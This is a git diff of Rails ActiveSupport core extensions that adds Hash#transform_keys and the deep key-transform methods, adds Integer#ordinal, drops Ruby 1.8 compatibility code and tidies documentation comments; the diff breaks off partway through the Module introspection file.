diff --git a/activesupport/lib/active_support/core_ext/hash/deep_dup.rb b/activesupport/lib/active_support/core_ext/hash/deep_dup.rb
deleted file mode 100644
index 447142605c..0000000000
--- a/activesupport/lib/active_support/core_ext/hash/deep_dup.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Hash
-  # Returns a deep copy of hash.
-  def deep_dup
-    duplicate = self.dup
-    duplicate.each_pair do |k,v|
-      tv = duplicate[k]
-      duplicate[k] = tv.is_a?(Hash) && v.is_a?(Hash) ? tv.deep_dup : v
-    end
-    duplicate
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
index af771c86ff..023bf68a87 100644
--- a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
@@ -1,11 +1,16 @@
 class Hash
   # Returns a new hash with +self+ and +other_hash+ merged recursively.
+  #
+  #   h1 = {x: {y: [4,5,6]}, z: [7,8,9]}
+  #   h2 = {x: {y: [7,8,9]}, z: "xyz"}
+  #
+  #   h1.deep_merge(h2) #=> {:x => {:y => [7, 8, 9]}, :z => "xyz"}
+  #   h2.deep_merge(h1) #=> {:x => {:y => [4, 5, 6]}, :z => [7, 8, 9]}
   def deep_merge(other_hash)
     dup.deep_merge!(other_hash)
   end
 
-  # Returns a new hash with +self+ and +other_hash+ merged recursively.
-  # Modifies the receiver in place.
+  # Same as +deep_merge+, but modifies +self+.
   def deep_merge!(other_hash)
     other_hash.each_pair do |k,v|
       tv = self[k]
diff --git a/activesupport/lib/active_support/core_ext/hash/diff.rb b/activesupport/lib/active_support/core_ext/hash/diff.rb
index b904f49fa8..831dee8ecb 100644
--- a/activesupport/lib/active_support/core_ext/hash/diff.rb
+++ b/activesupport/lib/active_support/core_ext/hash/diff.rb
@@ -1,13 +1,13 @@
 class Hash
   # Returns a hash that represents the difference between two hashes.
   #
-  # Examples:
-  #
   #   {1 => 2}.diff(1 => 2)         # => {}
   #   {1 => 2}.diff(1 => 3)         # => {1 => 2}
   #   {}.diff(1 => 2)               # => {1 => 2}
   #   {1 => 2, 3 => 4}.diff(1 => 2) # => {3 => 4}
-  def diff(h2)
-    dup.delete_if { |k, v| h2[k] == v }.merge!(h2.dup.delete_if { |k, v| has_key?(k) })
+  def diff(other)
+    dup.
+      delete_if { |k, v| other[k] == v }.
+      merge!(other.dup.delete_if { |k, v| has_key?(k) })
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
index 89729df258..c82da3c6c2 100644
--- a/activesupport/lib/active_support/core_ext/hash/except.rb
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -4,13 +4,6 @@ class Hash
   #
   #   @person.update_attributes(params[:person].except(:admin))
   #
-  # If the receiver responds to +convert_key+, the method is called on each of the
-  # arguments. This allows +except+ to play nice with hashes with indifferent access
-  # for instance:
-  #
-  #   {:a => 1}.with_indifferent_access.except(:a)  # => {}
-  #   {:a => 1}.with_indifferent_access.except("a") # => {}
-  #
   def except(*keys)
     dup.except!(*keys)
   end
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index f4cb445444..7d54c9fae6 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -14,7 +14,7 @@ class Hash
   # #with_indifferent_access. This method will be called on the current object
   # by the enclosing object and is aliased to #with_indifferent_access by
   # default. Subclasses of Hash may overwrite this method to return +self+ if
-  # converting to an +ActiveSupport::HashWithIndifferentAccess+ would not be
+  # converting to an <tt>ActiveSupport::HashWithIndifferentAccess</tt> would not be
   # desirable.
   #
   #   b = {:b => 1}
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index d8748b1138..e753e36124 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -1,47 +1,138 @@
 class Hash
-  # Return a new hash with all keys converted to strings.
-  def stringify_keys
-    dup.stringify_keys!
+  # Return a new hash with all keys converted using the block operation.
+  #
+  #  hash = { name: 'Rob', age: '28' }
+  #
+  #  hash.transform_keys{ |key| key.to_s.upcase }
+  #  # => { "NAME" => "Rob", "AGE" => "28" }
+  def transform_keys
+    result = {}
+    each_key do |key|
+      result[yield(key)] = self[key]
+    end
+    result
   end
 
-  # Destructively convert all keys to strings.
-  def stringify_keys!
+  # Destructively convert all keys using the block operations.
+  # Same as transform_keys but modifies +self+
+  def transform_keys!
     keys.each do |key|
-      self[key.to_s] = delete(key)
+      self[yield(key)] = delete(key)
     end
     self
   end
 
+  # Return a new hash with all keys converted to strings.
+  #
+  #   hash = { name: 'Rob', age: '28' }
+  #
+  #   hash.stringify_keys
+  #   #=> { "name" => "Rob", "age" => "28" }
+  def stringify_keys
+    transform_keys{ |key| key.to_s }
+  end
+
+  # Destructively convert all keys to strings. Same as
+  # +stringify_keys+, but modifies +self+.
+  def stringify_keys!
+    transform_keys!{ |key| key.to_s }
+  end
+
   # Return a new hash with all keys converted to symbols, as long as
   # they respond to +to_sym+.
+  #
+  #   hash = { 'name' => 'Rob', 'age' => '28' }
+  #
+  #   hash.symbolize_keys
+  #   #=> { name: "Rob", age: "28" }
   def symbolize_keys
-    dup.symbolize_keys!
+    transform_keys{ |key| key.to_sym rescue key }
   end
+  alias_method :to_options,  :symbolize_keys
 
   # Destructively convert all keys to symbols, as long as they respond
-  # to +to_sym+.
+  # to +to_sym+. Same as +symbolize_keys+, but modifies +self+.
   def symbolize_keys!
-    keys.each do |key|
-      self[(key.to_sym rescue key) || key] = delete(key)
-    end
-    self
+    transform_keys!{ |key| key.to_sym rescue key }
   end
-
-  alias_method :to_options,  :symbolize_keys
   alias_method :to_options!, :symbolize_keys!
 
   # Validate all keys in a hash match *valid keys, raising ArgumentError on a mismatch.
   # Note that keys are NOT treated indifferently, meaning if you use strings for keys but assert symbols
   # as keys, this will fail.
   #
-  # ==== Examples
-  #   { :name => "Rob", :years => "28" }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
-  #   { :name => "Rob", :age => "28" }.assert_valid_keys("name", "age") # => raises "ArgumentError: Unknown key: name"
-  #   { :name => "Rob", :age => "28" }.assert_valid_keys(:name, :age) # => passes, raises nothing
+  #   { :name => 'Rob', :years => '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
+  #   { :name => 'Rob', :age => '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
+  #   { :name => 'Rob', :age => '28' }.assert_valid_keys(:name, :age) # => passes, raises nothing
   def assert_valid_keys(*valid_keys)
     valid_keys.flatten!
     each_key do |k|
-      raise(ArgumentError, "Unknown key: #{k}") unless valid_keys.include?(k)
+      raise ArgumentError.new("Unknown key: #{k}") unless valid_keys.include?(k)
+    end
+  end
+
+  # Return a new hash with all keys converted by the block operation.
+  # This includes the keys from the root hash and from all
+  # nested hashes.
+  #
+  #  hash = { person: { name: 'Rob', age: '28' } }
+  #
+  #  hash.deep_transform_keys{ |key| key.to_s.upcase }
+  #  # => { "PERSON" => { "NAME" => "Rob", "AGE" => "28" } }
+  def deep_transform_keys(&block)
+    result = {}
+    each do |key, value|
+      result[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys(&block) : value
     end
+    result
+  end
+
+  # Destructively convert all keys by using the block operation.
+  # This includes the keys from the root hash and from all
+  # nested hashes.
+  def deep_transform_keys!(&block)
+    keys.each do |key|
+      value = delete(key)
+      self[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys!(&block) : value
+    end
+    self
+  end
+
+  # Return a new hash with all keys converted to strings.
+  # This includes the keys from the root hash and from all
+  # nested hashes.
+  #
+  #   hash = { person: { name: 'Rob', age: '28' } }
+  #
+  #   hash.deep_stringify_keys
+  #   # => { "person" => { "name" => "Rob", "age" => "28" } }
+  def deep_stringify_keys
+    deep_transform_keys{ |key| key.to_s }
+  end
+
+  # Destructively convert all keys to strings.
+  # This includes the keys from the root hash and from all
+  # nested hashes.
+  def deep_stringify_keys!
+    deep_transform_keys!{ |key| key.to_s }
+  end
+
+  # Return a new hash with all keys converted to symbols, as long as
+  # they respond to +to_sym+. This includes the keys from the root hash
+  # and from all nested hashes.
+  #
+  #   hash = { 'person' => { 'name' => 'Rob', 'age' => '28' } }
+  #
+  #   hash.deep_symbolize_keys
+  #   # => { person: { name: "Rob", age: "28" } }
+  def deep_symbolize_keys
+    deep_transform_keys{ |key| key.to_sym rescue key }
+  end
+
+  # Destructively convert all keys to symbols, as long as they respond
+  # to +to_sym+. This includes the keys from the root hash and from all
+  # nested hashes.
+  def deep_symbolize_keys!
+    deep_transform_keys!{ |key| key.to_sym rescue key }
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
index 01863a162b..6074103484 100644
--- a/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
@@ -18,6 +18,5 @@ class Hash
     # right wins if there is no left
     merge!( other_hash ){|key,left,right| left }
   end
-
   alias_method :reverse_update, :reverse_merge!
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
index 0484d8e5d8..b862b5ae2a 100644
--- a/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -13,17 +13,15 @@ class Hash
   #   valid_keys = [:mass, :velocity, :time]
   #   search(options.slice(*valid_keys))
   def slice(*keys)
-    keys = keys.map! { |key| convert_key(key) } if respond_to?(:convert_key)
-    hash = self.class.new
-    keys.each { |k| hash[k] = self[k] if has_key?(k) }
-    hash
+    keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
+    keys.each_with_object(self.class.new) { |k, hash| hash[k] = self[k] if has_key?(k) }
   end
 
   # Replaces the hash with only the given keys.
-  # Returns a hash contained the removed key/value pairs
+  # Returns a hash containing the removed key/value pairs.
   #   {:a => 1, :b => 2, :c => 3, :d => 4}.slice!(:a, :b) # => {:c => 3, :d => 4}
   def slice!(*keys)
-    keys = keys.map! { |key| convert_key(key) } if respond_to?(:convert_key)
+    keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
     omit = slice(*self.keys - keys)
     hash = slice(*keys)
     replace(hash)
@@ -33,8 +31,6 @@ class Hash
   # Removes and returns the key/value pairs matching the given keys.
   #   {:a => 1, :b => 2, :c => 3, :d => 4}.extract!(:a, :b) # => {:a => 1, :b => 2}
   def extract!(*keys)
-    result = {}
-    keys.each {|key| result[key] = delete(key) }
-    result
+    keys.each_with_object({}) { |key, result| result[key] = delete(key) }
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/integer/inflections.rb b/activesupport/lib/active_support/core_ext/integer/inflections.rb
index 0e606056c0..1e30687166 100644
--- a/activesupport/lib/active_support/core_ext/integer/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/integer/inflections.rb
@@ -14,4 +14,18 @@ class Integer
   def ordinalize
     ActiveSupport::Inflector.ordinalize(self)
   end
+
+  # Ordinal returns the suffix used to denote the position
+  # in an ordered sequence such as 1st, 2nd, 3rd, 4th.
+  #
+  #  1.ordinal     # => "st"
+  #  2.ordinal     # => "nd"
+  #  1002.ordinal  # => "nd"
+  #  1003.ordinal  # => "rd"
+  #  -11.ordinal   # => "th"
+  #  -1001.ordinal # => "st"
+  #
+  def ordinal
+    ActiveSupport::Inflector.ordinal(self)
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/integer/multiple.rb b/activesupport/lib/active_support/core_ext/integer/multiple.rb
index 8dff217ddc..7c6c2f1ca7 100644
--- a/activesupport/lib/active_support/core_ext/integer/multiple.rb
+++ b/activesupport/lib/active_support/core_ext/integer/multiple.rb
@@ -1,5 +1,9 @@
 class Integer
   # Check whether the integer is evenly divisible by the argument.
+  #
+  #   0.multiple_of?(0)  #=> true
+  #   6.multiple_of?(5)  #=> false
+  #   10.multiple_of?(2) #=> true
   def multiple_of?(number)
     number != 0 ? self % number == 0 : zero?
   end
diff --git a/activesupport/lib/active_support/core_ext/integer/time.rb b/activesupport/lib/active_support/core_ext/integer/time.rb
index c677400396..894b5d0696 100644
--- a/activesupport/lib/active_support/core_ext/integer/time.rb
+++ b/activesupport/lib/active_support/core_ext/integer/time.rb
@@ -24,9 +24,9 @@ class Integer
   #   1.year.to_f.from_now
   #
   # In such cases, Ruby's core
-  # Date[http://stdlib.rubyonrails.org/libdoc/date/rdoc/index.html] and
-  # Time[http://stdlib.rubyonrails.org/libdoc/time/rdoc/index.html] should be used for precision
-  # date and time arithmetic
+  # Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
+  # Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision
+  # date and time arithmetic.
   def months
     ActiveSupport::Duration.new(self * 30.days, [[:months, self]])
   end
diff --git a/activesupport/lib/active_support/core_ext/io.rb b/activesupport/lib/active_support/core_ext/io.rb
deleted file mode 100644
index 75f1055191..0000000000
--- a/activesupport/lib/active_support/core_ext/io.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-if RUBY_VERSION < '1.9.2'
-
-# :stopdoc:
-class IO
-  def self.binread(name, length = nil, offset = nil)
-    return File.read name unless length || offset
-    File.open(name, 'rb') { |f|
-      f.seek offset if offset
-      f.read length
-    }
-  end
-end
-# :startdoc:
-
-end
diff --git a/activesupport/lib/active_support/core_ext/kernel/debugger.rb b/activesupport/lib/active_support/core_ext/kernel/debugger.rb
index 7516f41e0b..2073cac98d 100644
--- a/activesupport/lib/active_support/core_ext/kernel/debugger.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/debugger.rb
@@ -1,8 +1,8 @@
 module Kernel
   unless respond_to?(:debugger)
-    # Starts a debugging session if ruby-debug has been loaded (call rails server --debugger to do load it).
+    # Starts a debugging session if the +debugger+ gem has been loaded (call rails server --debugger to do load it).
     def debugger
-      message = "\n***** Debugger requested, but was not available (ensure ruby-debug is listed in Gemfile/installed as gem): Start server with --debugger to enable *****\n"
+      message = "\n***** Debugger requested, but was not available (ensure the debugger gem is listed in Gemfile/installed as gem): Start server with --debugger to enable *****\n"
       defined?(Rails) ? Rails.logger.info(message) : $stderr.puts(message)
     end
     alias breakpoint debugger unless respond_to?(:breakpoint)
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
index 526b8378a5..ad3f9ebec9 100644
--- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -1,4 +1,5 @@
 require 'rbconfig'
+
 module Kernel
   # Sets $VERBOSE to nil for the duration of the block and back to its original value afterwards.
   #
@@ -49,10 +50,10 @@ module Kernel
   #
   #   suppress(ZeroDivisionError) do
   #     1/0
-  #     puts "This code is NOT reached"
+  #     puts 'This code is NOT reached'
   #   end
   #
-  #   puts "This code gets executed and nothing related to ZeroDivisionError was seen"
+  #   puts 'This code gets executed and nothing related to ZeroDivisionError was seen'
   def suppress(*exception_classes)
     begin yield
     rescue Exception => e
@@ -62,7 +63,7 @@ module Kernel
 
   # Captures the given stream and returns it:
   #
-  #   stream = capture(:stdout) { puts "Cool" }
+  #   stream = capture(:stdout) { puts 'Cool' }
   #   stream # => "Cool\n"
   #
   def capture(stream)
diff --git a/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb b/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
index 33612155fb..9bbf1bbd73 100644
--- a/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
@@ -1,11 +1,4 @@
 module Kernel
-  # Returns the object's singleton class.
-  def singleton_class
-    class << self
-      self
-    end
-  end unless respond_to?(:singleton_class) # exists in 1.9.2
-
   # class_eval on an object acts like singleton_class.class_eval.
   def class_eval(*args, &block)
     singleton_class.class_eval(*args, &block)
diff --git a/activesupport/lib/active_support/core_ext/load_error.rb b/activesupport/lib/active_support/core_ext/load_error.rb
index 8bdfa0c5bc..fe24f3716d 100644
--- a/activesupport/lib/active_support/core_ext/load_error.rb
+++ b/activesupport/lib/active_support/core_ext/load_error.rb
@@ -6,12 +6,14 @@ class LoadError
     /^cannot load such file -- (.+)$/i,
   ]
 
-  def path
-    @path ||= begin
-      REGEXPS.find do |regex|
-        message =~ regex
+  unless method_defined?(:path)
+    def path
+      @path ||= begin
+        REGEXPS.find do |regex|
+          message =~ regex
+        end
+        $1
       end
-      $1
     end
   end
 
diff --git a/activesupport/lib/active_support/core_ext/logger.rb b/activesupport/lib/active_support/core_ext/logger.rb
index e63a0a9ed9..16fce81445 100644
--- a/activesupport/lib/active_support/core_ext/logger.rb
+++ b/activesupport/lib/active_support/core_ext/logger.rb
@@ -1,4 +1,7 @@
 require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/deprecation'
+
+ActiveSupport::Deprecation.warn 'this file is deprecated and will be removed'
 
 # Adds the 'around_level' method to Logger.
 class Logger #:nodoc:
@@ -53,8 +56,8 @@ class Logger
   alias :old_datetime_format= :datetime_format=
   # Logging date-time format (string passed to +strftime+). Ignored if the formatter
   # does not respond to datetime_format=.
-  def datetime_format=(datetime_format)
-    formatter.datetime_format = datetime_format if formatter.respond_to?(:datetime_format=)
+  def datetime_format=(format)
+    formatter.datetime_format = format if formatter.respond_to?(:datetime_format=)
   end
 
   alias :old_datetime_format :datetime_format
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
index f399fce410..f2d4887df6 100644
--- a/activesupport/lib/active_support/core_ext/module.rb
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -5,8 +5,6 @@ require 'active_support/core_ext/module/reachable'
 require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/module/attr_internal'
 require 'active_support/core_ext/module/delegation'
-require 'active_support/core_ext/module/synchronization'
 require 'active_support/core_ext/module/deprecation'
 require 'active_support/core_ext/module/remove_method'
-require 'active_support/core_ext/module/method_names'
-require 'active_support/core_ext/module/qualified_const'
\ No newline at end of file
+require 'active_support/core_ext/module/qualified_const'
diff --git a/activesupport/lib/active_support/core_ext/module/aliasing.rb b/activesupport/lib/active_support/core_ext/module/aliasing.rb
index ce481f0e84..580cb80413 100644
--- a/activesupport/lib/active_support/core_ext/module/aliasing.rb
+++ b/activesupport/lib/active_support/core_ext/module/aliasing.rb
@@ -26,26 +26,25 @@ class Module
     aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1
     yield(aliased_target, punctuation) if block_given?
 
-    with_method, without_method = "#{aliased_target}_with_#{feature}#{punctuation}", "#{aliased_target}_without_#{feature}#{punctuation}"
+    with_method = "#{aliased_target}_with_#{feature}#{punctuation}"
+    without_method = "#{aliased_target}_without_#{feature}#{punctuation}"
 
     alias_method without_method, target
     alias_method target, with_method
 
     case
-      when public_method_defined?(without_method)
-        public target
-      when protected_method_defined?(without_method)
-        protected target
-      when private_method_defined?(without_method)
-        private target
+    when public_method_defined?(without_method)
+      public target
+    when protected_method_defined?(without_method)
+      protected target
+    when private_method_defined?(without_method)
+      private target
     end
   end
 
   # Allows you to make aliases for attributes, which includes
   # getter, setter, and query methods.
   #
-  # Example:
-  #
   #   class Content < ActiveRecord::Base
   #     # has a title attribute
   #   end
diff --git a/activesupport/lib/active_support/core_ext/module/anonymous.rb b/activesupport/lib/active_support/core_ext/module/anonymous.rb
index 3982c9c586..0a9e791030 100644
--- a/activesupport/lib/active_support/core_ext/module/anonymous.rb
+++ b/activesupport/lib/active_support/core_ext/module/anonymous.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/object/blank'
-
 class Module
   # A module may or may not have a name.
   #
@@ -7,7 +5,7 @@ class Module
   #   M.name # => "M"
   #
   #   m = Module.new
-  #   m.name # => ""
+  #   m.name # => nil
   #
   # A module gets a name when it is first assigned to a constant. Either
   # via the +module+ or +class+ keyword or by an explicit assignment:
@@ -17,8 +15,6 @@ class Module
   #   m.name         # => "M"
   #
   def anonymous?
-    # Uses blank? because the name of an anonymous class is an empty
-    # string in 1.8, and nil in 1.9.
-    name.blank?
+    name.nil?
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/module/attr_internal.rb b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
index 00db75bfec..db07d549b0 100644
--- a/activesupport/lib/active_support/core_ext/module/attr_internal.rb
+++ b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
@@ -15,7 +15,6 @@ class Module
     attr_internal_reader(*attrs)
     attr_internal_writer(*attrs)
   end
-
   alias_method :attr_internal, :attr_internal_accessor
 
   class << self; attr_accessor :attr_internal_naming_format end
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index be94ae1565..672cc0256f 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -4,6 +4,7 @@ class Module
   def mattr_reader(*syms)
     options = syms.extract_options!
     syms.each do |sym|
+      raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
       class_eval(<<-EOS, __FILE__, __LINE__ + 1)
         @@#{sym} = nil unless defined? @@#{sym}
 
@@ -25,6 +26,7 @@ class Module
   def mattr_writer(*syms)
     options = syms.extract_options!
     syms.each do |sym|
+      raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
       class_eval(<<-EOS, __FILE__, __LINE__ + 1)
         def self.#{sym}=(obj)
           @@#{sym} = obj
@@ -44,19 +46,19 @@ class Module
   # Extends the module object with module and instance accessors for class attributes,
   # just like the native attr* accessors for instance attributes.
   #
-  #  module AppConfiguration
-  #    mattr_accessor :google_api_key
-  #    self.google_api_key = "123456789"
+  #   module AppConfiguration
+  #     mattr_accessor :google_api_key
   #
-  #    mattr_accessor :paypal_url
-  #    self.paypal_url = "www.sandbox.paypal.com"
-  #  end
+  #     self.google_api_key = "123456789"
+  #   end
   #
-  #  AppConfiguration.google_api_key = "overriding the api key!"
+  #   AppConfiguration.google_api_key # => "123456789"
+  #   AppConfiguration.google_api_key = "overriding the api key!"
+  #   AppConfiguration.google_api_key # => "overriding the api key!"
   #
-  # To opt out of the instance writer method, pass :instance_writer => false.
-  # To opt out of the instance reader method, pass :instance_reader => false.
-  # To opt out of both instance methods, pass :instance_accessor => false.
+  # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+  # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+  # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
   def mattr_accessor(*syms)
     mattr_reader(*syms)
     mattr_writer(*syms)
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index 7de824a77f..39a1240c61 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -1,5 +1,5 @@
 class Module
-  # Provides a delegate class method to easily expose contained objects' methods
+  # Provides a delegate class method to easily expose contained objects' public methods
   # as your own. Pass one or more methods (specified as symbols or strings)
   # and the name of the target object via the <tt>:to</tt> option (also a symbol
   # or string). At least one method and the <tt>:to</tt> option are required.
@@ -8,11 +8,11 @@ class Module
   #
   #   class Greeter < ActiveRecord::Base
   #     def hello
-  #       "hello"
+  #       'hello'
   #     end
   #
   #     def goodbye
-  #       "goodbye"
+  #       'goodbye'
   #     end
   #   end
   #
@@ -62,7 +62,7 @@ class Module
   #     delegate :name, :address, :to => :client, :prefix => true
   #   end
   #
-  #   john_doe = Person.new("John Doe", "Vimmersvej 13")
+  #   john_doe = Person.new('John Doe', 'Vimmersvej 13')
   #   invoice = Invoice.new(john_doe)
   #   invoice.client_name    # => "John Doe"
   #   invoice.client_address # => "Vimmersvej 13"
@@ -74,45 +74,46 @@ class Module
   #   end
   #
   #   invoice = Invoice.new(john_doe)
-  #   invoice.customer_name    # => "John Doe"
-  #   invoice.customer_address # => "Vimmersvej 13"
+  #   invoice.customer_name    # => 'John Doe'
+  #   invoice.customer_address # => 'Vimmersvej 13'
   #
   # If the delegate object is +nil+ an exception is raised, and that happens
   # no matter whether +nil+ responds to the delegated method. You can get a
   # +nil+ instead with the +:allow_nil+ option.
   #
-  #  class Foo
-  #    attr_accessor :bar
-  #    def initialize(bar = nil)
-  #      @bar = bar
-  #    end
-  #    delegate :zoo, :to => :bar
-  #  end
+  #   class Foo
+  #     attr_accessor :bar
+  #     def initialize(bar = nil)
+  #       @bar = bar
+  #     end
+  #     delegate :zoo, :to => :bar
+  #   end
   #
-  #  Foo.new.zoo   # raises NoMethodError exception (you called nil.zoo)
+  #   Foo.new.zoo   # raises NoMethodError exception (you called nil.zoo)
   #
-  #  class Foo
-  #    attr_accessor :bar
-  #    def initialize(bar = nil)
-  #      @bar = bar
-  #    end
-  #    delegate :zoo, :to => :bar, :allow_nil => true
-  #  end
+  #   class Foo
+  #     attr_accessor :bar
+  #     def initialize(bar = nil)
+  #       @bar = bar
+  #     end
+  #     delegate :zoo, :to => :bar, :allow_nil => true
+  #   end
   #
-  #  Foo.new.zoo   # returns nil
+  #   Foo.new.zoo   # returns nil
   #
   def delegate(*methods)
     options = methods.pop
     unless options.is_a?(Hash) && to = options[:to]
-      raise ArgumentError, "Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, :to => :greeter)."
+      raise ArgumentError, 'Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, :to => :greeter).'
     end
-    prefix, to, allow_nil = options[:prefix], options[:to], options[:allow_nil]
 
-    if prefix == true && to.to_s =~ /^[^a-z_]/
-      raise ArgumentError, "Can only automatically set the delegation prefix when delegating to a method."
+    prefix, allow_nil = options.values_at(:prefix, :allow_nil)
+
+    if prefix == true && to =~ /^[^a-z_]/
+      raise ArgumentError, 'Can only automatically set the delegation prefix when delegating to a method.'
     end
 
-    method_prefix =
+    method_prefix = \
       if prefix
         "#{prefix == true ? to : prefix}_"
       else
@@ -123,13 +124,15 @@ class Module
     line = line.to_i
 
     methods.each do |method|
-      method = method.to_s
+      # Attribute writer methods only accept one argument. Makes sure []=
+      # methods still accept two arguments.
+      definition = (method =~ /[^\]]=$/) ? 'arg' : '*args, &block'
 
       if allow_nil
         module_eval(<<-EOS, file, line - 2)
-          def #{method_prefix}#{method}(*args, &block)        # def customer_name(*args, &block)
+          def #{method_prefix}#{method}(#{definition})        # def customer_name(*args, &block)
             if #{to} || #{to}.respond_to?(:#{method})         #   if client || client.respond_to?(:name)
-              #{to}.__send__(:#{method}, *args, &block)       #     client.__send__(:name, *args, &block)
+              #{to}.#{method}(#{definition})                  #     client.name(*args, &block)
             end                                               #   end
           end                                                 # end
         EOS
@@ -137,8 +140,8 @@ class Module
         exception = %(raise "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
 
         module_eval(<<-EOS, file, line - 1)
-          def #{method_prefix}#{method}(*args, &block)        # def customer_name(*args, &block)
-            #{to}.__send__(:#{method}, *args, &block)         #   client.__send__(:name, *args, &block)
+          def #{method_prefix}#{method}(#{definition})        # def customer_name(*args, &block)
+            #{to}.#{method}(#{definition})                    #   client.name(*args, &block)
           rescue NoMethodError                                # rescue NoMethodError
             if #{to}.nil?                                     #   if client.nil?
               #{exception}                                    #     # add helpful message to the exception
diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb
index 5a5b4e3f80..9e77ac3c45 100644
--- a/activesupport/lib/active_support/core_ext/module/deprecation.rb
+++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb
@@ -1,3 +1,5 @@
+require 'active_support/deprecation/method_wrappers'
+
 class Module
   # Declare that a method has been deprecated.
   #   deprecate :foo
diff --git a/activesupport/lib/active_support/core_ext/module/introspection.rb b/activesupport/lib/active_support/core_ext/module/introspection.rb
index c08ad251dd..3c8e811fa4 100644
--- a/activesupport/lib/active_support/core_ext/module/introspection.rb
+++ b/activesupport/lib/active_support/core_ext/module/introspection.rb
@@ -5,10 +5,11 @@ class Module
   #
   #   M::N.parent_name # => "M"
   def parent_name
-    unless defined? @parent_name
+    if defined? @parent_name
+      @parent_name
+    else
       @parent_name = name =~ /::[^:]+\Z/ ? $`.freeze : nil
     end
-    @parent_name
   end
 
   # Returns the module which contains this one according to its name.
@@ -57,32 +58,23 @@ class Module
     parents
   end
 
-  if RUBY_VERSION < '1.9'
-    # Returns the constants that have been defined locally by this object and
-    # not in an ancestor. This method is exact if running under Ruby 1.9. In
-    # previous versions it may miss some constants if their definition in some
-    # ancestor is identical to their definition in the receiver.
-    def local_constants
-      inherited = {}
-
-      ancestors.each do |anc|
-        next if anc == self
-        anc.constants.each { |const| inherited[const] = anc.const_get(const) }
-      end
-
-      constants.select do |const|
-        !inherited.key?(const) || inherited[const].object_id != const_get(const).object_id
-      end
-    end
-  else
-    def local_constants #:nodoc:
-      constants(false)
-    end
+  def local_constants #:nodoc:
+    constants(false)
   end
 
-  # Returns the names of the constants defined locally rather than the
-  # constants themselves. See <tt>local_constants</tt>.
+  # *DEPRECATED*: Use +local_constants+ instead.
+  #
+  # Returns the names of the constants defined locally as strings.
